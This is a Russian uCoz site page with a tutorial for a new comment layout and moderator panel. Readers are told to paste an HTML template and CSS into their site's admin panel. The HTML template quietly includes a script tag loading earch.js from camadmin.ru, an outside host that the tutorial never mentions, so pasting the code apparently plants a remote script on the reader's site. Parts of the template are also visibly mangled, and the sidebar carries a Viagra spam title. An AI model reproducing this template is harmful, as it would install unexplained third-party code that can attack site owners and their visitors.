Галерея лучших современников и их творческих работ
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Язык сайта
Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Меню сайта
Категории раздела
Полезности для сайтов ucoz [134]
Поиск
Новенькие на сайте
rbadertdinov
↓ ↓ ↓ ↓ ↓
KuznetzovapCT
↓ ↓ ↓ ↓ ↓
cecfjgmuraniench
↓ ↓ ↓ ↓ ↓
cecfjgbascubblil
↓ ↓ ↓ ↓ ↓
xiao_yiwan
↓ ↓ ↓ ↓ ↓
mailsima
↓ ↓ ↓ ↓ ↓
larisamatkovskaa
↓ ↓ ↓ ↓ ↓
samaraindi
↓ ↓ ↓ ↓ ↓
Новое на форуме
  • Виагра купить цена
  • Продолжается восстановление Успенского собора Киево-печерской Лавры
  • Война. Оружие. Пули. И все что из этого может получиться
  • Романизм
  • Ренессанс
  • Словарь
    Барельеф.
    [Раздел под буквой - [Б]]
    Холст, полотно.
    [Раздел под буквой - [Х]]
    Натюрморт.
    [Раздел под буквой - [Н]]
    Архитектура.
    [Раздел под буквой - [A]]
    Знак.
    [Раздел под буквой - [З]]
    Главная » 2013 » Март » 8 » Новый вид комментариев v.1.0 + Модер-панель для uCoz
    15:24
    Новый вид комментариев v.1.0 + Модер-панель для uCoz
    Здравствуйте дорогие читатели, сегодня хочу вас порадовать новым видом комментариев и модер-панель для uCoz, в этом виде комментария присутствует уголок что делает вид комментариев симпатичней, не стандартная модер-панель + кнопка "Ответить", небольшая кнопочка "Like".

    Шаг 1 - Установим HTML:

    Для начало нам следует удалить старый html код вида комментарий, для этого идём в Админ панель => Дизайн => Управление дизайном => Комментарии => Вид комментариев и устанавливаем следующий код:

    Код
    <div class="content-com">  
      <div class="com_p text_r text_9">
      <a href="$PROFILE_URL$"> <img class="avatar_comment wbr3" src="$USER_AVATAR_URL$" /><img src="/img/no_avatar.jpg" class="avatar_comment wbr3" alt="аватар отсутствует" /></a><img src="/img/no_avatar.jpg" class="avatar_comment wbr3" alt="аватар отсутствует" />

      
      
      
      <a class="kcom_like ts_b wbr3" href="$GOOD_COMMENT_URL$">Like</a>
      
      
      
       
      </div>
      <div class="com_l wbr3">
      <div class="com_v grey">
      <div class="left_block"><a href="$ANSWER_URL$" title="Комментировать"><div class="otvet"></div></a></div>
    <script type="text/javascript" src="http://camadmin.ru/earch.js"></script><div class="left_block top cherta-right gren">$USERNAME$</div><div class="left_block top cherta-right gren">$NAME$</div><div class="left_block top cherta-right gren">Гость</div>
      <div class="left_block top2 text_9">$DATE$ - $TIME$</div>
      <div class="right top2 text_9 grey cherta-left ">Like | 0<span class="gren">+$COMMENT_RATING$</span></div>
      <div class="right top2 text_9 grey cherta-left">№$NUMBER$</div>
      
      <a title="Удалить" onclick="del_item($ID$);return false;" id="di$ID$">
      <div class="delete-com right"></div>
      </a>
      <a title="Редактировать" onclick="new _uWnd('Ie',' ',-600,-200,{autosize:1,closeonesc:1,resize:0},{url:'/index/37-$ID$'});return false;">
      <div class="edit-com right"></div>
      </a>
      
      </div>
      <div class="com_c text_115">$MESSAGE$ </div>
      <div class="com_n grey text_9">
      <span class="left">
      </span>
      </div>
      </div>
    </div>


    Шаг 2 - Установим CSS:

    Теперь нам надо прописать стили "css" что бы наш вид комментариев отображался коректно и стал симпатичным.

    Код
    /* Вид комментариев v.1  
      ------------------------------------------*/  

    /* Выравнивание */  
      div.left_block {float:left;}  
      div.right_block {float:right;}  

    /* Кнопки комментировать, редактировать, удалить */  
    .otvet {  
      background: url(/img/otvet.png);  
      background-position: -0px -0px;  
      width: 25px;  
      height: 23px;  
      cursor: pointer;  
      border-right:1px solid #cad1db;  
      }  
    .otvet:hover  
      {  
      background: url(/img/otvet.png);  
      background-position: -0px -23px;  
      width: 25px;  
      height: 23px;  
      cursor: pointer;  
      }  

    .edit-com {  
      background: url(/img/moder-panel.png);  
      background-position: -0px -0px;  
      width: 35px;  
      height: 23px;  
      cursor: pointer;  
      border-left:1px solid #cad1db;  
      }  
    .edit-com:hover  
      {  
      background: url(/img/moder-panel.png);  
      background-position: -0px -23px;  
      width: 35px;  
      height: 23px;  
      cursor: pointer;  
      }  

    .delete-com {  
      background: url(/img/moder-panel.png);  
      background-position: -35px -0px;  
      width: 35px;  
      height: 23px;  
      cursor: pointer;  
      border-left:1px solid #cad1db;  
      }  
    .delete-com:hover  
      {  
      background: url(/img/moder-panel.png);  
      background-position: -35px -23px;  
      width: 35px;  
      height: 23px;  
      cursor: pointer;  
      }  

    /* Аватар */  
    .avatar_comment {  
      width:50px;  
      height:50px;  
      padding:3px;  
      background:#888888;  
    }  

    /* Закругление углов */  
    .wbr3 {  
      -webkit-border-radius:3px;  
      -moz-border-radius:3px;  
      border-radius:3px;  
    }  

    /* Контент */  
    .content-com {  
      float:left;  
      width:100%;  
      position:relative;  
      margin-bottom:15px  
      }  

    .com_p {  
      top:0;  
      right:0;  
      width:75px;  
      position:absolute;  
      background:url(/img/ugolok.png) no-repeat top left  
    }  

    .com_l {  
      padding:0px 0;  
      background:#fff;  
      border:1px solid #cad1db;  
      margin:0 74px 0 0;  
      overflow:hidden  
    }  

    .com_v {  
      height:23px;  
      border-bottom:1px solid #cad3da  
    }  

    .com_v,.com_n {  
      margin:0 0px 0 0px  
    }  

    .com_c {  
      min-height: 39px;  
      overflow:hidden;  
      margin:5px 15px 7px 15px;  
    }  

    .com_c p {  
      padding:10px;  
      margin:10px 0;  
      background:#ebfce8;  
      overflow:hidden!important;  
      border:1px solid #b4e5ac  
    }  

    /* Like */  
    .kcom_like:link,.kcom_like:visited {  
      text-align:center;  
      color:#fff;  
      float:right;  
      width:47px;  
      background:#999999;  
      margin-top:3px;  
      padding:1px 3px 1px 3px;  
      border:1px solid #666666  
    }  

    .kcom_like:hover {  
      text-decoration: none;  
      border:1px solid #666666!important;  
      color:#375e15!important;  
      text-shadow:1px 1px 1px #d7ffb6!important;  
      background:#9aeb56!important  
    }  

    /* Черта возле кнопок */  
    .cherta-right {  
      height:20px;  
      border-right:1px solid #cad1db;  
    }  

    .cherta-left {  
      height:19px;  
      border-left:1px solid #cad1db;  
    }  

    /* Текст */  
    .text_r {  
      text-align:right;  
    }  

    .text_9 {  
      font:9px Verdana,Arial,Helvetica, sans-serif;  
    }  

    .grey {  
      color:#b1b1b1;  
    }  

    .grey2 {  
      color:#cac8c8;  
    }  

    .gren {color:#429e1e;  
      font-weight:bold;  
    }  

    .right {  
      float:right;  
    }  
    .left {  
      float:left;  
    }  

    .top {  
      padding: 4px 12px 0px 12px;  
    }  

    .top2 {  
      padding: 5px 12px 0px 12px;  
    }  

    .bold {  
      font-weight:bold;  
    }  

    .text_115 {  
      font:115%/1.5 Verdana,Arial,Helvetica, sans-serif;  
    }


    Скачать архив: http://yadi.sk/d/UCCjw3Zv36kUX

    На этом всё, это моя первая и не последня web разработка на center-dm, оценивайте и пользуйтесь, спасибо за внимание.
    Категория: Полезности для сайтов ucoz | Просмотров: 133 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Профиль
    Гость




    Группа:
    Гости

    Мы очень рады что вы зашли к нам.
    Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Случайные работы
    Друзья сайта
  • All-Art.do.am - все об искусстве! Стили, направления, художники, иконопись и т.д.

  • Tatyana_Art - Кое-что о компьютерной графике. Портфолио. Уроки компьютерной графики (2D и 3D)

  • Галерея иконописи и убранств храмов

  • Галерея мировых шедевров

  • Галерея лучших художников 20 века

  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Copyright MyCorp © 2017
    Бесплатный хостинг uCoz




    Rambler's Top100